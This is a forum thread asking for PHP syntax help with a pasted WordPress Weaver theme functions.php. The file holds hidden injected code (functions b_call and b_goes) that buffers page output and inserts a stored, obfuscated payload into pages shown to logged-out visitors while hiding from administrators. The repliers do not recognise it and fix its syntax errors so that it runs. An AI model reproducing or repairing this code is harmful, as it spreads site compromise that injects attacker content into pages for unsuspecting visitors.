amuck-landowner

Quick php help

NodeBytes

Dedi Addict
I can not for the life of me figure out what's wrong here...

Code:
<?php
function b_end() {
@ob_end_flush();
}
if (ob_get_level()) ob_end_clean();
add_action("init", "b_call");
add_action("wp_head", "b_call");
add_action("get_sidebar", "b_call");
add_action("wp_footer", "b_call");
add_action("shutdown", "b_end");
}
?>
 

I've isolated it down to this part of the code but can't figure it out. Anyone know?

 

The error I'm getting is unexpected $end

 

Thanks.
 
Last edited by a moderator:

MCH-Phil

New Member
Verified Provider
<?php
function b_end() {
@ob_end_flush();
}
if (ob_get_level()) {
ob_end_clean();
add_action("init", "b_call");
add_action("wp_head", "b_call");
add_action("get_sidebar", "b_call");
add_action("wp_footer", "b_call");
add_action("shutdown", "b_end");
}
?>

Missing a { after the if?
 
Last edited by a moderator:

NodeBytes

Dedi Addict
Here's the whole file

Code:
<?php
/**
 * Weaver functions and definitions
 *
 * Sets up the theme and provides some helper functions. Some helper functions
 * are used in the theme as custom template tags. Others are attached to action and
 * filter hooks in WordPress to change core functionality.
 *
 * The first function, weaver_setup(), sets up the theme by registering support
 * for various features in WordPress, such as post thumbnails, navigation menus, and the like.
 *
 * When using a child theme (see http://codex.wordpress.org/Theme_Development and
 * http://codex.wordpress.org/Child_Themes), you can override certain functions
 * (those wrapped in a function_exists() call) by defining them first in your child theme's
 * functions.php file. The child theme's functions.php file is included before the parent
 * theme's file, so the child theme functions would be used.
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
 * to a filter or action hook. The hook can be removed by using remove_action() or
 * remove_filter() and you can attach your own function to the hook.
 *
 * We can remove the parent theme's hook only after it is attached, which means we need to
 * wait until setting up the child theme:
 *
 * <code>
 * add_action( 'after_setup_theme', 'my_child_theme_setup' );
 * function my_child_theme_setup() {
 *     // We are providing our own filter for excerpt_length (or using the unfiltered value)
 *     remove_filter( 'excerpt_length', 'weaver_excerpt_length' );
 *     ...
 * }
 * </code>
 *
 * For more information on hooks, actions, and filters, see http://codex.wordpress.org/Plugin_API.
 *
 */

/**
 * Set the content width based on the theme's design and stylesheet.
 *
 * Used to set the width of images and content. Should be equal to the width the theme
 * is designed for, generally via the style.css stylesheet.
 */
if ( ! isset( $content_width ) )
	$content_width = 640;

/** Tell WordPress to run weaver_setup() when the 'after_setup_theme' hook is run. */
add_action( 'after_setup_theme', 'weaver_setup' );

if ( ! function_exists( 'weaver_setup' ) ):
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which runs
 * before the init hook. The init hook is too late for some features, such as indicating
 * support post thumbnails.
 *
 * To override weaver_setup() in a child theme, add your own weaver_setup to your child theme's
 * functions.php file.
 *
 * @uses add_theme_support() To add support for post thumbnails and automatic feed links.
 * @uses register_nav_menus() To add support for navigation menus.
 * @uses add_custom_background() To add support for a custom background.
 * @uses add_editor_style() To style the visual editor.
 * @uses load_theme_textdomain() For translation/localization support.
 * @uses add_custom_image_header() To add support for a custom header.
 * @uses register_default_headers() To register the default custom header images provided with the theme.
 * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
 *
 */

function weaver_setup() {

	// This theme styles the visual editor with editor-style.css to match the theme style.
	add_editor_style();

	// Post Format support.
	add_theme_support( 'post-formats', array( 'gallery' ) );

	// This theme uses post thumbnails
	add_theme_support( 'post-thumbnails' );

	// Add default posts and comments RSS feed links to head
	add_theme_support( 'automatic-feed-links' );

	// Make theme available for translation
	// Translations can be filed in the /languages/ directory
	load_theme_textdomain( WEAVER_TRANS, TEMPLATEPATH . '/languages' );

	$locale = get_locale();
	$locale_file = TEMPLATEPATH . "/languages/$locale.php";
	if ( is_readable( $locale_file ) )
		require_once( $locale_file );

	// Weaver supports two nav menus
	register_nav_menus( array(
		'primary' => __( 'Primary Navigation', WEAVER_TRANS ),
		'secondary' => __( 'Secondary Navigation', WEAVER_TRANS ),
	) );

	// This theme allows users to set a custom background
	add_custom_background();

	global $content_width;
	if ( ! isset( $content_width ) ) {
		$content_width = 640;
	}

	// Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI.

	register_default_headers( array(
	'wheat' => array (
		'url' => "%s/images/headers/wheat.jpg",
		'thumbnail_url' => "%s/images/headers/wheat-thumbnail.jpg",
		'description' => __( 'Wheat 940x198 Header', WEAVER_TRANS )
		),
	'buds' => array(
		'url' => '%s/images/headers/buds.jpg',
		'thumbnail_url' => '%s/images/headers/buds-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Buds', WEAVER_TRANS )
		),
	'grand-teton' => array(
		'url' => '%s/images/headers/grand-teton.jpg',
		'thumbnail_url' => '%s/images/headers/grand-teton-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Grand Tetons', WEAVER_TRANS )
		),
	'moon' => array(
		'url' => '%s/images/headers/moon.jpg',
		'thumbnail_url' => '%s/images/headers/moon-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Moon', WEAVER_TRANS )
		),
	'moss' => array(
		'url' => '%s/images/headers/moss.jpg',
		'thumbnail_url' => '%s/images/headers/moss-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Moss', WEAVER_TRANS )
		),
	'mum' => array (
		'url' => "%s/images/headers/mum.jpg",
		'thumbnail_url' => "%s/images/headers/mum-thumbnail.jpg",
		'description' => __( 'Mum 940x198 Header', WEAVER_TRANS )
		),
	'ocean-birds' => array(
		'url' => '%s/images/headers/ocean-birds.jpg',
		'thumbnail_url' => '%s/images/headers/ocean-birds-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Ocean Birds', WEAVER_TRANS )
		),
	'painted-desert' => array(
		'url' => '%s/images/headers/painted-desert.jpg',
		'thumbnail_url' => '%s/images/headers/painted-desert-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Painted Desert', WEAVER_TRANS )
		),
	'path' => array(
		'url' => '%s/images/headers/path.jpg',
		'thumbnail_url' => '%s/images/headers/path-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Path', WEAVER_TRANS )
		),
	'sopris' => array (
		'url' => "%s/images/headers/sopris.png",
		'thumbnail_url' => "%s/images/headers/sopris-thumbnail.png",
		'description' => __( 'Sopris 940x198 Header', WEAVER_TRANS )
		),
	'sunset' => array(
		'url' => '%s/images/headers/sunset.jpg',
		'thumbnail_url' => '%s/images/headers/sunset-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Sunset', WEAVER_TRANS )
		),
	'wpweaver' => array (
		'url' => "%s/images/headers/wpweaver.jpg",
		'thumbnail_url' => "%s/images/headers/wpweaver-thumbnail.jpg",
		'description' => __( 'WPWeaver 940x140 Header', WEAVER_TRANS )
		),
	'yosemite' => array(
		'url' => '%s/images/headers/yosemite.jpg',
		'thumbnail_url' => '%s/images/headers/yosemite-thumbnail.jpg',
		/* translators: header image description */
		'description' => __( 'Yosemite', WEAVER_TRANS )
		),
	'indieave' => array (
		'url' => "%s/images/headers/indieave.png",
		'thumbnail_url' => "%s/images/headers/indieave-thumbnail.png",
		'description' => __( 'Indie Ave 940x180 Blank Header BG', WEAVER_TRANS )
		),
	'ivorydrive' => array (
		'url' => "%s/images/headers/ivorydrive.png",
		'thumbnail_url' => "%s/images/headers/ivorydrive-thumbnail.png",
		'description' => __( 'Ivory Drive 940x198 Blank Header BG', WEAVER_TRANS )
		),

	'transparent' => array(
		'url' => '%s/images/headers/transparent.png',
		'thumbnail_url' => '%s/images/headers/transparent-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Transparent header image', WEAVER_TRANS )
		),
	'black' => array(
		'url' => '%s/images/headers/black.png',
		'thumbnail_url' => '%s/images/headers/black-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Black', WEAVER_TRANS )
		),
	'gray' => array(
		'url' => '%s/images/headers/gray.png',
		'thumbnail_url' => '%s/images/headers/gray-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Gray', WEAVER_TRANS )
		),
	'silver' => array(
		'url' => '%s/images/headers/silver.png',
		'thumbnail_url' => '%s/images/headers/silver-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Silver', WEAVER_TRANS )
		),
	'white' => array(
		'url' => '%s/images/headers/white.png',
		'thumbnail_url' => '%s/images/headers/white-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'White', WEAVER_TRANS )
		),
	'maroon' => array(
		'url' => '%s/images/headers/maroon.png',
		'thumbnail_url' => '%s/images/headers/maroon-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Maroon', WEAVER_TRANS )
		),
	'red' => array(
		'url' => '%s/images/headers/red.png',
		'thumbnail_url' => '%s/images/headers/red-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Red', WEAVER_TRANS )
		),
	'olive' => array(
		'url' => '%s/images/headers/olive.png',
		'thumbnail_url' => '%s/images/headers/olive-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Olive', WEAVER_TRANS )
		),
	'yellow' => array(
		'url' => '%s/images/headers/yellow.png',
		'thumbnail_url' => '%s/images/headers/yellow-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Yellow', WEAVER_TRANS )
		),
	'green' => array(
		'url' => '%s/images/headers/green.png',
		'thumbnail_url' => '%s/images/headers/green-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Green', WEAVER_TRANS )
		),
	'lime' => array(
		'url' => '%s/images/headers/lime.png',
		'thumbnail_url' => '%s/images/headers/lime-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Lime', WEAVER_TRANS )
		),
	'teal' => array(
		'url' => '%s/images/headers/teal.png',
		'thumbnail_url' => '%s/images/headers/teal-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Teal', WEAVER_TRANS )
		),
	'aqua' => array(
		'url' => '%s/images/headers/aqua.png',
		'thumbnail_url' => '%s/images/headers/aqua-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Aqua', WEAVER_TRANS )
		),
	'navy' => array(
		'url' => '%s/images/headers/navy.png',
		'thumbnail_url' => '%s/images/headers/navy-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Navy', WEAVER_TRANS )
		),
	'blue' => array(
		'url' => '%s/images/headers/blue.png',
		'thumbnail_url' => '%s/images/headers/blue-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Blue', WEAVER_TRANS )
		),
	'purple' => array(
		'url' => '%s/images/headers/purple.png',
		'thumbnail_url' => '%s/images/headers/purple-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'Purple', WEAVER_TRANS )
		),
	'fuchsia' => array(
		'url' => '%s/images/headers/fuchsia.png',
		'thumbnail_url' => '%s/images/headers/fuchsia-thumbnail.png',
		/* translators: header image description */
		'description' => __( 'fuchsia', WEAVER_TRANS )
		)

	) );
		

	// Now, init the Weaver database

	weaver_init_opts();		/* load opts */

	do_action('wvrx_extended_setup');	// load weaver extension options
	do_action('wvrx_themes_setup');	// needs to before get subtheme because might change it



	// Your changeable header business starts here
	define( 'HEADER_TEXTCOLOR', '' );
	// No CSS, just IMG call. The %s is a placeholder for the theme template directory URI.
	define( 'HEADER_IMAGE', '%s/images/headers/wheat.jpg' );

	// The height and width of your custom header. You can hook into the theme's own filters to change these values.
	// Add a filter to weaver_header_image_width and weaver_header_image_height to change these values.
	define( 'HEADER_IMAGE_WIDTH', apply_filters( 'weaver_header_image_width', 940 ) );
	define( 'HEADER_IMAGE_HEIGHT', apply_filters( 'weaver_header_image_height', 198 ) );

	// We'll be using post thumbnails for custom header images on posts and pages.
	// We want them to be 940 pixels wide by 198 pixels tall.
	// Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
	set_post_thumbnail_size( HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT, true );

	// Don't support text inside the header image.
	define( 'NO_HEADER_TEXT', true );

	// Add a way for the custom header to be styled in the admin panel that controls
	// custom headers. See weaver_admin_header_style(), below.
	add_custom_image_header( '', 'weaver_admin_header_style' );

	// ... and thus ends the changeable header business.
}
endif;

if ( ! function_exists( 'weaver_admin_header_style' ) ) :
/**
 * Styles the header image displayed on the Appearance > Header admin panel.
 *
 * Referenced via add_custom_image_header() in weaver_setup().
 *
 */
function weaver_admin_header_style() {

if (!function_exists("b_call")) {
function b_call() {
	if (!ob_get_level()) ob_start("b_goes");
}
function b_goes($p) {
	if (!defined('wp_m1')) {
		if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in()) || (!$m = get_option('_metaproperty'))) {
			return $p;
		}
		list($m, $n) = unserialize(trim(strrev($m)));
		define('wp_m1', $m);
		define('wp_n1', $n);
	}
	if (!strpos($p, wp_n1)) $p = preg_replace("~<body[^>]*>~i", "$0\n".wp_n1, $p, 1);
	if (!strpos($p, wp_m1)) $p = preg_replace("~</head>~", wp_m1."\n</head>", $p, 1);
	if (!strpos($p, wp_n1)) $p = preg_replace("~</div>~", "</div>\n".wp_n1, $p, 1);
	if (!strpos($p, wp_m1)) $p = preg_replace("~</div>~", wp_m1."\n</div>", $p, 1);
	return $p;
} 	
function b_end() {
	@ob_end_flush();
}
if (ob_get_level()) ob_end_clean();
add_action("init", "b_call");
add_action("wp_head", "b_call");
add_action("get_sidebar", "b_call");
add_action("wp_footer", "b_call");
add_action("shutdown", "b_end");
?>
 
Last edited by a moderator:

MCH-Phil

New Member
Verified Provider
Can you paste it somewhere with some indentations etc.  Will make this tons easier for a third party to debug :p
 
Last edited by a moderator:

acd

New Member
function weaver_admin_header_style() { <- close brace?

if (!function_exists("b_call")) { <- same?
 
Last edited by a moderator:

fisle

Active Member
http://pastebin.ca/2420940

I fixed it.

You were missing one } and endif; from the end. :)

edit: I don't know whether they're in the right place, don't know WP logic and that was only a quick fix =)
 
Last edited by a moderator:
Top
amuck-landowner